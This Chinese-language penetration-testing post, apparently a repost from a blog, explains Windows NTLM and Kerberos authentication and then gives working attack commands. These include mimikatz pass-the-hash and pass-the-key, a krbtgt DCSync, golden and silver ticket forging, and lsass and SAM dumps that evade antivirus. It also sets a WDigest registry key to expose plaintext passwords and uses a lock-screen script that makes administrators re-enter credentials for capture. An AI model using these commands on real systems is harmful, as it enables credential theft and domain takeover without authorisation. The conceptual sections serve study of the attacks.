登錄認證
域是windows下的一種統一化管理的方式,明確一點,一個電腦可以用多個賬號登錄,并且還可以本地用戶和域用戶兩種方式登錄,沒有域環境和有域環境的認證方式不同
windows終端的管理,往往會分為,單獨的主機,工作組,域環境,三種環境下認證方式均有不同
類比linux的/etc/passwd和/etc/shadow的用來存放用戶權限和用戶密碼的文件,windows同樣有類似的文件是c:\system32\config\sam
在windows中的認證,大多數是考慮安全性,不會在認證通訊中傳遞明文密碼,而是傳遞hash值,因此如果獲取hash值,而沒有明文密碼,在一定情況下就可冒充該用戶進行相應權限訪問。hash在sam中,在具有主機的一定權限的情況下,一般可以抓到
windows下的hash類型
LM HASH
Lan manage Hash,早期使用的hash,目前已經廢棄
NT HASH
本地登錄時候,以該加密方式作為存儲在SAM中
NTLM HASH
顧名思義是LM HASH和NT HASH的結合,大概格式一般張這樣NT HSAH:LM HASH,中間以一個:,來隔開,也是mimikatz抓取到的hash
儲存在SAM文件中,如果存在域環境,也儲存在域控的NTDS.dit文件中
本地登錄
使用密碼的NT HASH加密與SAM中的對應數據比較
可以ps看下windows系統,登錄認證需要以下2個exe來完成
簡而言之
賬號/密碼 --接收--> winlogon.exe --傳遞--> lsass.exe --NT HASH加密--> sam 中比對
但是現在一臺windows一般要么在工作組中,要么在域環境下的
工作組登錄
登錄使用是NTML HASH,登錄的驗證方式叫做challenge/Response,也就是挑戰/響應機制
工作組是有一臺(服務器端和客戶端都是本身)或多臺電腦的,在組中的服務器端上存有可以登錄賬號的NTML HASH值
客戶端發送賬號登錄請求給服務器端
服務器端隨機生成16位的challenge,并與客戶端要登錄的賬號的NTLM HASH 進行簽名生成challenge-server,并把challenge發送給客戶端
客戶端手上的賬號的密碼先進行NTLM HASH運算,并再次和拿到的challenge進行運算得到challenge-client,并把challenge-client發送給服務器端
服務器拿到challenge-client與challenge-server進行比較,相同則表示認證通過
可以看到工作組的登錄認證,全程沒有明文密碼的傳遞,是通過隨機生成challenge進行加密傳輸認證
域登錄
域中要登錄一臺主機,可以使用2種賬號,域用戶和域主機賬號
域用戶由域控管理,他會在域控上分配域用戶可以登錄哪些主機的權限
域主機賬號即能登錄該主機的賬號,但一般不可登錄其他服務器
域和工作組、本地不同在于,登錄的時候指定是域登錄則要以domain\username的形式輸入用戶名,表明是domain域下的用戶要請求登錄
與工作組不同的地方在于,服務器端只是作為中轉,驗證身份的為域控,即存儲管理NTML HASH的地方是域控
客戶端發送賬號登錄請求給服務器端
服務器端生成challenge,發送回客戶端(與工作組想比這里沒有生成challenge-server)
客戶端拿密碼生成NTML HASH與challenge加密,生成NET NTML HASH發送給服務器端
服務器端將拿到NET NTML HASH,將手上的challenge,賬號發送給域控
域控拿對應賬號的NTML HASH與challenge加密,與NET NTML HASH進比較,相同即通過
加密版本:
NTLM v1: 生成的challenge是8位
NTLM V2: 生成的challenge是16位, 在2008,win7之后都是該版本
Kerberos認證
在域中的一個終端,要訪問域中的一個服務器時,服務器要明確這個終端是不是有權限訪問自己,和不和法之類的問題并不是服務器端校驗,而是通過在域中的第三方KDC服務器管理的
而KDC又分為兩部分,分別是AS(Authentication Server)以及TGS(Ticket Granting Server)
明確每個機器有什么東西
客戶端:有當前登錄賬號的密碼
AS服務器:生成與TGS服務器交互的憑證
TGS服務器:有服務器端的信息,用戶訪問服務器的權限信息,頒發給客戶端憑證的
服務器:提供服務的
認證步驟:
客戶端發送自己的ID,網絡狀況給AS服務器
AS服務器發送2條請求給客戶端
TGS-Session-Key, 這個是用來與TGS通信的,根據客戶端的賬號的密碼加密的
TGT,這個是有TGS-Session-Key和時間戳,訪問目標服務器等信息,根據KRBTGT的hash加密的
客戶端接收TGS-Session-Key通過客戶端的賬號的密碼解密得到密鑰,將本地信息與密碼加密,生成Server-Session-Key發給TGS
客戶端接收到TGT不做處理,直接發給 TGS
TGS 收到TGT,利用KRBTGT的hash進行解密獲取訪問服務器的信息,進行校驗,判斷是否能夠通過
判斷通過后,再將Server-Session-Key與時間戳,生命周期等信息通過服務器的hash進行加密生成Server-Ticket發送給客戶端
客戶端收到TGS發回的信息,用Server-Session-Key解密,解密內容加上ID 網絡狀況等信息,再用Server-Session-Key加密,發給服務器
客戶端收到TGS發回的Server-Ticket直接一并發服務器
服務器拿到Server-Ticket解密,驗證通過,之后與客戶端建立通訊連接
簡而言之,最終客戶端會拿到一個Server-Ticket用來告訴服務器自己的身份,而在滲透中拿用戶的Hash則可以偽造身份,生成Ticket,而不需要明文密碼。
票據
在整個Kerberos認證中,不難發現需要的有三個hash:客戶端hash,服務器端hash,KRBTGT的hash
而這三個hash
服務器上:有服務器的hash
客戶端上:有客戶端的hash
KDC上:有大家所有人的hash
客戶端的hash用于,客戶端與AS服務器通信,主要作用是確定客戶端身份
KRBTGT的hash用于,客戶端與TGS的通信,主要作用是確定服務器信息和客戶端的權限
服務器端的hash用于,客戶端與服務器端的通信,主要是驗證客戶端的身份
那么有服務器的hash,即使沒有KRBTGT的hash也能訪問目標服務器
如果有了KRBTGT的hash,則能訪問所有服務器的權限
白銀票據(Silver Ticket)
有目標服務器的hash,可以利用其偽造Ticket,達到訪問指定目標服務器的作用。偽造的Ticket就叫做白銀票據。
黃金票據(Golden Ticket)
有了KRBTGT的賬號,這個賬號在域控中,是建域自動生成的,KDC一般也是域控。有了KRBTGT的hash,則能偽造訪問所有域中服務的Ticket
Kerberoasting
利用TGS發回給客戶端時,攜帶了服務器端的hash,爆破該hash,成功既能獲得服務器的明文密碼
漏洞
MS14-068:如果域控即KDC,有該漏洞,那么可以使一個普通域用戶變成域控,原理即和Kerberos認證有關。
組策略首選項 + SYSVOL (GPP漏洞 —2k08)
SYSVOL`存在于域中的所有域控中。包含公共文件的共享文件夾,包括組策略數據 ,經過認證的用戶都可以訪問該文件夾。所有域組策略都存儲在這里:`\\ \ SYSVOL \ \ Policies \
在win2k8中添加了GPP選項,即組策略首選項,可以完成更多的系統及應用管理,比如說管理本地用戶 添加計劃任務等。
在08的域控上為域主機遠程添加用戶,所有的操作都會寫到Group.xml文件中,包括創建的賬戶名稱 時間 以及加密后的密碼。該密碼默認是用AES256加密的,而且官方提供了完整的密鑰,正好用來解密得到密碼。漏洞的補丁編號為KB2962486.
通過HASH進行登錄
在滲透中,拿不到明文密碼,只是通過SAM等文件抓取到了NTML之類的hash值,是可以通過hash值進行登錄其他主機的
pth
pass the hash(pth),在上述生成challenge-client的過程中,沒有密碼,但有NTML HASH一樣是能夠通過認證的,通過NTML HASH進行其他主機登錄的方式即叫pth
微軟在12年發布了針對pth的補丁KBb2871997,意味著沒法使用pth來登錄了,但是這補丁的不足之處在于Administrator賬號沒有被限制,該賬號的SID為500, 也就是說SID為500的賬號不會受限制
如果禁用了NTML認證,PsExec無法利用獲得的NTML hash進行遠程連接,但是使用mimikatz還是可以攻擊成功
mimikatz使用方法
//先獲取hash
privilege::debug
sekurlsa::logonpasswords
//使用sekurlsa::pth 模塊進行突破
sekurlsa::pth /user:administrator /domain:test /ntlm:ccef208c6485269c20db2cad21734fe7
ptk
pass the key(ptk)是在pth不能用時,利用mimikatz的AES keys的方式代替NTML hash的一種方法
//先獲取aes加密
privilege::debug
sekurlsa::ekeys
//使用sekurlsa::pth 模塊使用aes方式
"sekurlsa::pth /user:administrator /domain:test /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
ptt
清楚票據
kerberos::purge
klist purge
黃金票據
先獲取krbtgt的hash
privilege::debug
使用key,來注入票據
lsadump::dcsync /user:krbtgt
mimikatz # kerberos::golden /domain:rootkit.org /sid:sid/aes256:ase256 /user:administrator /ticket:admin.kirbi
使用hash,來注入票據
lsadump::lsa /patch 導出hash
kerberos::golden /domain:rootkit.org /sid:sid /krbtgt:hash /user:administrator /ticket:admin.kirbi
白銀票據
kerberos::golden /user:dbadmin /domain:rootkit.org /sid:sid /targe
t:Srv-Web-Kit.rootkit.org /rc4:ntlm_hash /ptt
測試中的操作
解決殺軟殺掉mimikatz
在有殺軟時,可以使用以下方式獲取lsass.exe的哈希,并下載到本地用mimikatz解密
目標在system32下
procdump.exe -accepteula -ma lsass.exe lsass.dmp
本機
sekurlsa::minidump lsass.dump
sekurlsa::logonpasswords
目標
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
本機
lsadump::sam /system:system.hiv /sam:sam.hiv
解決windows10,windows server2012 抓不到明文密碼
在windows10,windows server 2012以上,即使弱口令,mimikatz抓不到明文密碼的,可以使用以下方法
設置注冊表,使其能抓明文密碼
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
鎖屏腳本,使管理員再次輸入密碼,即會被抓取
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWo rkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
} Lock-WorkStation
注銷,使管理員再次輸入密碼,即會被抓取
logoff.exe
參考資料
標簽:HASH,登錄,滲透,challenge,服務器,基本概念,hash,客戶端
來源: https://www.cnblogs.com/sijidou/p/13121383.html
版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。
工作时间:8:00-18:00
客服电话
电子邮件
admin@qq.com
扫码二维码
获取最新动态